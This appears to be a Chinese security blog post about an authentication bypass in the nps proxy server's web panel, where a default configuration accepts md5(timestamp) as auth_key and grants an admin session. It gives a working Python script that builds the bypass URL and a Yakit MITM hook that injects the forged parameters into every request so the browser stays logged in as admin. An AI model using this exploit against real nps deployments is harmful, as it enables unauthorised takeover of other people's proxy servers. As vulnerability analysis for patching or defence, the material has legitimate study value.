之前看到了一篇文章 hvv反制红队第一章之nps代理工具0day漏洞分析 ,感觉非常有意思,所以就想进行一个详细的分析,并进行利用。
漏洞分析
下载 nps 代码 **https://github.com/ehang-io/nps
nps-master\web\controllers\base.go
只要满足 (md5Key != "" && (math.Abs(float64(timeNowUnix-int64(timestamp))) \<= 20) && (crypt.Md5(configKey+strconv.Itoa(timestamp)) == md5Key))
为 true 就可以设置 Session 为 admin
-
md5Key != ""
传入一个值 auth_key -
(math.Abs(float64(timeNowUnix-int64(timestamp))) \<= 20)
当前时间 减去传入的 timestamp 20 -
(crypt.Md5(configKey+strconv.Itoa(timestamp)) == md5Key)
auth_key 默认是注释的所以只需要满足传入的 md5(timestamp) = 传入的 auth_key 就好
漏洞利用
根据漏洞原理我们写出python 的利用代码并进行验证
import time
import hashlib
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()
print("Index/Index?auth_key=%s×tamp=%s" % (auth_key,int(now)))
但是我们发现再点击别的模块时会直接退出,这是因为再次点击时,我们没有再带上我们生成的代码了
仅仅是一个未授权,似乎并没有很大的危害,但是我们知道,nps 中的每一个模块我们都是可以进行利用的,在知道 nps 每个模块的数据包时我们可以轻松构造数据包,但是我们也想通过界面直接轻松点击,就实现功能的跳转,我们就要思考如何进一步利用
一个人碎碎念了好久,再寻找浏览器插件无果后,尝试开发 burpsuite 插件,不得不说,burpsuite 插件开发并不是很友好,不仅不能快速上手,我需要的这个功能,花了好久都没实现,于是转战我的救星 Yakit
插件开发
根据 python 利用代码我们写出 Yakit 的利用代码
time_now = time.Now().Unix()
md5_key = codec.Md5(time_now)
#println(time_now)
#println(md5_key)
auth_key = "?auth_key="+string(md5_key)+"×tamp="+parseString(time_now)
println(auth_key)
写出 Yakit 生成 Poc 的代码后,我们就思考如何将这个功能添加到插件中,让经过 Yakit 代理的每个 url 都添加上这段 Poc
通过询问大佬后,知道可以通过 MITM 本身热加载中的 hijack开头的hook可以改请求
我们先查看一下相关代码以及注释
# hijackHTTPRequest 每一个新的 HTTPRequest 将会被这个 HOOK 劫持,劫持后通过 forward(modifed) 来把修改后的请求覆盖,如果需要屏蔽该数据包,通过 drop() 来屏蔽
# ATTENTION-DEMO:
# hijacked = str.ReplaceAll(string(req), "abc", "bcd")
# 1. forward(hijacked):确认转发
# 2. drop() 丢包
# 3. 如果 forward 和 drop 都没有被调用,则使用默认数据流
# 4. 如果 drop 和 forward 在一个劫持中都被调用到了,以 drop 为准
/*
# Demo2 Best In Practice
hijackHTTPRequest = func(isHttps, url, req, forward, drop) {
if str.Contains(string(req), "/products/plugins/plugin_11") {
forward(str.ReplaceAll(string(req), "/products/plugins/plugin_11", "/products/plugins/plugin_create"))
}
if str.Contains(string(req), "/products/plugins/plugin_12") {
drop()
}
}
*/
我们看到通过替换 req 中的请求,再通过 forward 将修改后的请求发送出去,这样就可以实现我们想要的功能,编写的代码如下
hijackHTTPRequest = func(isHttps, url, req, forward /*func(modifiedRequest []byte)*/, drop /*func()*/) {
time_now = time.Now().Unix()
md5_key = codec.Md5(time_now)
auth_key = "?auth_key="+string(md5_key)+"×tamp="+parseString(time_now)
println(auth_key)
if str.Contains(string(req), " HTTP/1.1") {
forward(str.ReplaceAll(string(req), " HTTP/1.1", auth_key+" HTTP/1.1"))
}
}
将代码编辑好后,点击加载当前代码
点击免配置启动加载一个chrome 浏览器,输入一个nps 的网址就直接登录成功
再点击别的模块也不会出现直接退出的情况
查看一下 yakit 中的数据包
yakit 真是 yyds!!